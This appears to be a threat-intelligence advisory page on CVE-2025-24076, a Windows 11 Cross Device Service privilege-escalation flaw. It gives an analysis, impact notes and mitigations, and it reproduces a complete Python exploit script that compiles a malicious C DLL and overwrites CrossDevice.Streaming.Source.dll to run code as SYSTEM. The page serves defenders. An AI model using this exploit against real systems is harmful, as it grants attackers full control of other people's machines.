Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
AI Analysis
Technical Summary
This security threat concerns an elevation of privilege vulnerability in Microsoft Windows 11 Version 24H2 and related versions, including Windows 11 23H2, 22H2, and Windows Server 2025 and 2022 (Server Core). The vulnerability resides in the Windows Cross Device Service, specifically involving improper access control (CWE-284) that allows a low-privileged local attacker to overwrite a critical DLL file named CrossDevice.Streaming.Source.dll located in a writable directory (C:/ProgramData/CrossDevice). The exploit requires user interaction, where the attacker convinces the user to open the "Mobile devices" Settings page, triggering the system to load the malicious DLL. The attacker first backs up the original DLL, then replaces it with a malicious DLL that executes code with SYSTEM privileges upon loading, effectively escalating privileges from a low-privileged user to SYSTEM level. The provided exploit code is a Python 3 script that automates the process of building the malicious DLL from C source code using gcc (MinGW), checks for the vulnerable DLL, backs it up, waits for the DLL to be unlocked, replaces it with the malicious DLL, and prompts the user to open the required Settings page to trigger the exploit. The malicious DLL, written in C, creates a file (C:\poc_only_admin_can_write_to_c.txt) as proof of successful SYSTEM privilege execution. The attack vector is local, requiring low privileges and user interaction, with a high impact on confidentiality, integrity, and availability due to full SYSTEM privilege escalation. The exploit code is mature enough to demonstrate the attack but is marked as unproven in the wild. No official patch links are provided yet, but remediation is expected via an official fix from Microsoft.
Potential Impact
For European organizations, this vulnerability poses a significant risk due to the potential for local attackers or malicious insiders to escalate privileges to SYSTEM level, gaining full control over affected Windows 11 and Windows Server systems. This can lead to unauthorized access to sensitive data, disruption of critical services, installation of persistent malware, and lateral movement within networks. Organizations relying on Windows 11 24H2 and related versions, especially those with users who have local access or where social engineering could induce user interaction, are at risk. The ability to overwrite a DLL in a writable directory indicates a failure in access control that could be exploited to bypass security controls and endpoint protection. The impact is particularly severe for sectors with high-value assets such as finance, healthcare, government, and critical infrastructure, where SYSTEM-level compromise can lead to data breaches, operational disruption, and compliance violations under GDPR and other regulations.
Mitigation Recommendations
1. Restrict write permissions on the directory C:/ProgramData/CrossDevice and the DLL CrossDevice.Streaming.Source.dll to prevent unauthorized modification. 2. Implement application whitelisting and integrity monitoring to detect unauthorized DLL changes. 3. Educate users to avoid opening the "Mobile devices" Settings page when prompted by untrusted sources to reduce user interaction exploitation. 4. Employ endpoint detection and response (EDR) tools to monitor for suspicious DLL replacement activities and privilege escalation attempts. 5. Temporarily disable or restrict the Cross Device Service if feasible until a patch is available. 6. Monitor Microsoft security advisories closely and apply official patches immediately upon release. 7. Use least privilege principles to limit local user rights and prevent low-privileged users from writing to system directories. 8. Conduct regular audits of writable directories and DLL files to identify unauthorized changes. 9. Implement network segmentation to limit the impact of compromised endpoints. 10. Prepare incident response plans specifically addressing privilege escalation scenarios.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Sweden, Poland, Belgium, Austria
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-06 # Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476) # CVE: CVE-2025-24076 # # Affected Versions: # - Windows 11 Version 24H2 (x64 and ARM64) # - Windows 11 Version 23H2 (x64 and ARM64) # - Windows 11 Version 22H2 (x64 and ARM64) # - Windows Server 2025 # - Windows Server 2022 23H2 (Server Core installation) # # Type: Elevation of Privilege # Platform: Microsoft Windows # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Improper Access Control # Attack Vector: Local # Privileges Required: Low # User Interaction: Required # Scope: Unchanged # Confidentiality, Integrity, Availability Impact: High # Exploit Code Maturity: Unproven # Remediation Level: Official Fix # Description: # This vulnerability affects Microsoft Windows 11 (various versions including 24H2, 23H2, and 22H2) # and Windows Server 2025. It targets improper access control in the Windows Cross Device Service, # allowing a low-privileged local attacker to overwrite a critical DLL file (CrossDevice.Streaming.Source.dll) # in a writable directory. After triggering user interaction by opening Windows "Mobile devices" Settings, # the attacker can replace the DLL with a malicious version, leading to SYSTEM privilege escalation. # # Steps of exploitation: # 1. Verify the presence of the vulnerable DLL in the writable directory. # 2. Build a malicious DLL that executes code with SYSTEM privileges upon loading. # 3. Backup the original DLL to allow recovery. # 4. Trigger the DLL load by instructing the user to open the "Mobile devices" Settings page. # 5. Wait until the DLL is unlocked and replace it with the malicious DLL. # 6. Achieve SYSTEM privileges when the system loads the malicious DLL. # # This exploit requires low privileges and user interaction but has low attack complexity # and results in high impact due to full privilege escalation. # import os import shutil import time from pathlib import Path import subprocess # Target DLL name based on vulnerability research DLL_NAME = "CrossDevice.Streaming.Source.dll" TARGET_PATH = Path("C:/ProgramData/CrossDevice") MALICIOUS_DLL = Path("malicious.dll") BACKUP_ORIGINAL_DLL = Path("original_backup.dll") # C source code for malicious DLL MALICIOUS_C_CODE = r''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { FILE *file = fopen("C:\\poc_only_admin_can_write_to_c.txt", "w"); if (file) { fputs("Exploit succeeded! You have SYSTEM privileges.\n", file); fclose(file); } } return TRUE; } ''' def build_malicious_dll(): print("[*] Building malicious DLL from C source...") c_file = Path("malicious.c") # Write C source code to file with open(c_file, "w") as f: f.write(MALICIOUS_C_CODE) # Compile DLL using gcc (MinGW) compile_cmd = [ "gcc", "-shared", "-o", str(MALICIOUS_DLL), str(c_file), "-Wl,--subsystem,windows" ] try: subprocess.run(compile_cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print(f"[+] Malicious DLL built successfully: {MALICIOUS_DLL}") # Clean up C source file c_file.unlink() return True except subprocess.CalledProcessError as e: print("[!] Failed to build malicious DLL.") print("gcc output:", e.stderr.decode()) return False def is_vulnerable(): if not TARGET_PATH.exists(): print("[!] Target directory not found.") return False dll_path = TARGET_PATH / DLL_NAME if not dll_path.exists(): print("[!] Target DLL not found.") return False print("[+] System appears vulnerable, DLL found in a writable path.") return True def backup_original(): dll_path = TARGET_PATH / DLL_NAME backup_path = TARGET_PATH / BACKUP_ORIGINAL_DLL shutil.copyfile(dll_path, backup_path) print(f"[+] Backup created at: {backup_path}") def replace_with_malicious(): dll_path = TARGET_PATH / DLL_NAME try: shutil.copyfile(MALICIOUS_DLL, dll_path) print("[+] Successfully replaced the DLL with malicious version.") return True except PermissionError: print("[!] Cannot write to DLL. Make sure the process using it is stopped.") return False def monitor_and_replace(): dll_path = TARGET_PATH / DLL_NAME print("[*] Monitoring DLL until it is unlocked...") while True: try: with open(dll_path, 'rb+') as f: print("[+] File is unlocked. Attempting replacement...") time.sleep(0.5) return replace_with_malicious() except PermissionError: time.sleep(0.5) def trigger_com(): print("[*] To trigger DLL load, please open Windows Settings -> Mobile devices") input("[*] After opening Settings, press Enter to continue...") def main(): if not build_malicious_dll(): return if not is_vulnerable(): return backup_original() trigger_com() success = monitor_and_replace() if success: print("[✓] Exploit completed successfully. Check results (e.g., C:\\poc_only_admin_can_write_to_c.txt).") else: print("[✗] Exploit failed.") if __name__ == "__main__": main()
Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
Description
Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
AI-Powered Analysis
Technical Analysis
This security threat concerns an elevation of privilege vulnerability in Microsoft Windows 11 Version 24H2 and related versions, including Windows 11 23H2, 22H2, and Windows Server 2025 and 2022 (Server Core). The vulnerability resides in the Windows Cross Device Service, specifically involving improper access control (CWE-284) that allows a low-privileged local attacker to overwrite a critical DLL file named CrossDevice.Streaming.Source.dll located in a writable directory (C:/ProgramData/CrossDevice). The exploit requires user interaction, where the attacker convinces the user to open the "Mobile devices" Settings page, triggering the system to load the malicious DLL. The attacker first backs up the original DLL, then replaces it with a malicious DLL that executes code with SYSTEM privileges upon loading, effectively escalating privileges from a low-privileged user to SYSTEM level. The provided exploit code is a Python 3 script that automates the process of building the malicious DLL from C source code using gcc (MinGW), checks for the vulnerable DLL, backs it up, waits for the DLL to be unlocked, replaces it with the malicious DLL, and prompts the user to open the required Settings page to trigger the exploit. The malicious DLL, written in C, creates a file (C:\poc_only_admin_can_write_to_c.txt) as proof of successful SYSTEM privilege execution. The attack vector is local, requiring low privileges and user interaction, with a high impact on confidentiality, integrity, and availability due to full SYSTEM privilege escalation. The exploit code is mature enough to demonstrate the attack but is marked as unproven in the wild. No official patch links are provided yet, but remediation is expected via an official fix from Microsoft.
Potential Impact
For European organizations, this vulnerability poses a significant risk due to the potential for local attackers or malicious insiders to escalate privileges to SYSTEM level, gaining full control over affected Windows 11 and Windows Server systems. This can lead to unauthorized access to sensitive data, disruption of critical services, installation of persistent malware, and lateral movement within networks. Organizations relying on Windows 11 24H2 and related versions, especially those with users who have local access or where social engineering could induce user interaction, are at risk. The ability to overwrite a DLL in a writable directory indicates a failure in access control that could be exploited to bypass security controls and endpoint protection. The impact is particularly severe for sectors with high-value assets such as finance, healthcare, government, and critical infrastructure, where SYSTEM-level compromise can lead to data breaches, operational disruption, and compliance violations under GDPR and other regulations.
Mitigation Recommendations
1. Restrict write permissions on the directory C:/ProgramData/CrossDevice and the DLL CrossDevice.Streaming.Source.dll to prevent unauthorized modification. 2. Implement application whitelisting and integrity monitoring to detect unauthorized DLL changes. 3. Educate users to avoid opening the "Mobile devices" Settings page when prompted by untrusted sources to reduce user interaction exploitation. 4. Employ endpoint detection and response (EDR) tools to monitor for suspicious DLL replacement activities and privilege escalation attempts. 5. Temporarily disable or restrict the Cross Device Service if feasible until a patch is available. 6. Monitor Microsoft security advisories closely and apply official patches immediately upon release. 7. Use least privilege principles to limit local user rights and prevent low-privileged users from writing to system directories. 8. Conduct regular audits of writable directories and DLL files to identify unauthorized changes. 9. Implement network segmentation to limit the impact of compromised endpoints. 10. Prepare incident response plans specifically addressing privilege escalation scenarios.
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Technical Details
- Edb Id
- 52320
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege
#!/usr/bin/env python3 # Exploit Title: Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-06 # Tested on: Windows 11 Version 24H2 for x64-based Systems (10.0.26100.3476) # CVE: CVE-2025-24076 # # Affected Versions: # - Windows 11 Version 24H2 (x64 and ARM64) # - Windows 11 Version 23H2 (x64 and ARM64) # - Windows 11 Version 22H2 (x64 and ARM64) #
... (5099 more characters)
Threat ID: 68489c7682cbcead92620a35
Added to database: 6/10/2025, 8:58:30 PM
Last enriched: 6/11/2025, 8:15:35 AM
Last updated: 8/17/2025, 10:00:26 PM
Views: 55
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